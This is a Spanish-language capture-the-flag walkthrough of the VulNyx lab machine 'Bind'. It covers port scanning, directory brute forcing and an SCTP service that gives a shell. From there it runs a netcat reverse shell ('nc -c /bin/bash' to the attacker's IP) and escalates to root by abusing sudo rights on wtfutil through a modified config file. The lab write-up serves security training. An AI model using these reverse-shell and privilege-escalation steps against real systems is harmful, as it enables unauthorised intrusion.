VulNyx - Bind
- Ncat - SCTP
- Abuse wtfutil Binary - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.15
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,8080 192.168.1.15
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
8080/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Realizo fuerza bruta de directorios y encuentro solamente el directorio transmision.
❯ gobuster dir -u 192.168.1.15 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.15
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/transmission (Status: 301) [Size: 319] [--> http://192.168.1.15/transmission/]
HTTP TCP - 8080
De nuevo realizo fuerza bruta de directorios al puerto 8080 y encuentro solo un directorio y nada más.
❯ wfuzz -c --hw=933,31 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.15:8080/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.15:8080/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000006911: 301 9 L 28 W 320 Ch "stream"
Escaneo SCTP
Al no encontrar nada realizo un escaneo de puertos por SCTP.
❯ nmap -p- -T5 -n -v 192.168.1.15 -sY
PORT STATE SERVICE
4444/sctp open unknown
MAC Address: 08:00:27:CE:DC:C7 (Oracle VirtualBox virtual NIC)
Me conecto con ncat porque ncat tiene soporte para el protocolo SCTP.
❯ ncat --sctp 192.168.1.15 4444
id
uid=1000(ariel) gid=1000(ariel) grupos=1000(ariel)
Una vez conectado me lanzo una shell para poder trabajar mas cómodo.
❯ nc -c /bin/bash 192.168.1.17 1234
Obtengo la shell y realizo el tratamiento para la tty.
ariel@bind:~$ script /dev/null -c bash
ctrl+Z
stty raw -echo;fg
reset
xterm
ariel@bind:~$ export TERM=xterm-256color
ariel@bind:~$ export SHELL=bash
ariel@bind:~$ source /etc/skel/.bashrc
ariel@bind:~$ stty rows 50 cols 200
Enumero permisos de sudo
ariel@bind:~$ sudo -l
Matching Defaults entries for ariel on bind:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User ariel may run the following commands on bind:
(root) NOPASSWD: /usr/bin/wtfutil
Al lanzar el binario puedo ver la ruta el archivo config.yml
ubicado en ~/.config/wtf/config.yml
.
Copio config.yml
al directorio /tmp
.
ariel@bind:/tmp$ cp /home/ariel/.config/wtf/config.yml.
En el archivo original localizo el apartado uptime donde este mismo se lanza con el parámetro cmd.
Puedo manipular el archivo de la siguiente forma para lanzar un netcat con los argumentos necesarios para obtener una shell.
Una vez he guardado los cambios lanzo el binario con la flag --config=
para indicarle al binario wtfutil
que lea el archivo de configuración que he creado en el directorio /tmp
.
ariel@bind:/tmp$ sudo /usr/bin/wtfutil --config=/tmp/config.yml
Donde anteriormente se mostraba el uptime ahora se muestra el comando nc con los argumentos que le he indicado en el config.yml
.
Obtengo la shell de root.
❯ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.17] from bind.nyx [192.168.1.15] 51854
id
uid=0(root) gid=0(root) grupos=0(root)
Y aquí termina la máquina Bind.
Saludos!